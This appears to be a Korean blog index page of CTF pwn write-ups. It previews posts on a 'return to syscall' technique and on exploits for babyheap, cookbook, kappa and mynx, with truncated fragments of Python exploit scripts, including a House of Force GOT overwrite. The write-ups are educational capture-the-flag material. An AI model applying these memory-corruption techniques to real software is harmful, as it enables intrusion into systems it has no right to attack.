본문 바로가기

CTF/Problems

(5)
[문서] Return to syscall + H3X0R CTF libsteak write up Return to syscall H3X0R ctf libsteak write up 314ckC47 H3X0R Summary 이번에 H3X0R CTF에서 출제한 문제중 libsteak 문제의 intended solution인 "자칭" return to syscall이란 기법에 대해 작성 해 보겠습니다. 이 기법의 아이디어 캐치는 "코드게이트 예선 문제"였구요 이 아이디어를 이용해 libsteak를 풀 수 가 있습니다. Syscall Wrapping Functions 핵심적으로 알아야 할 것은, glibc(libc.so.6)에서는 system call을 wrapping 하는 함수가 '꽤나' 있단 겁니다. 당장 우리가 자주 쓰는 read 함수나, write 함수만 봐도, // path : /glibc-2.27..
0ctf 2017 babyheap 요즘 다시 대회 문제에 손을 하나씩 대고 있는데...힙이 아직 넘사벽이여서힙을 공부중입니다껄껄 그냥 fastbin duplicate + unsorted bin에 관해 알면 익스가 가능 합니다. 대충 봤는데 heap base를 릭 해서 뚜샤뚜샤 하루도 있을거 같고mprotect를 heap 세그먼트에 써서 쉘코드 뚜샤뚜샤도 될거 같다 히히 친-절하게 주석까지 다 달아 놓음 #!/usr/bin/pythonfrom pwn import * p = process("./babyheap")#p = remote("localhost",4000)lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")elf = ELF("./babyheap") def alloca(size):p.sendline("1")p..
cookbook ( 100% 분석 되어져 있는 idb 파일 있습니당 )1234567891011121314151617181920212223242526272829303132333435363738394041424344#!/usr/bin/python from pwn import *from struct import * conn = remote('localhost',4000)conn.sendline("314ckC47") def HoFTrigger(EIP,topchunk): # Trigger House Of Force # Overwrite 'printf()' target = 0x0804d010 ovaddr = target - 0x8 - topchunk conn.sendline("c") conn.sendline("n") conn.se..
kappa write up 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117#!/usr/bin/python from socket import *from struct import *from time import * p = lambda x : pack(" /home/bc/kappapwn\n")sleep(0.3) s.close()Colored by Colo..
mynx writeup 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135#!/usr/bin/python from socket import *from struct import *from time import * p = lambda x : pack(">> ..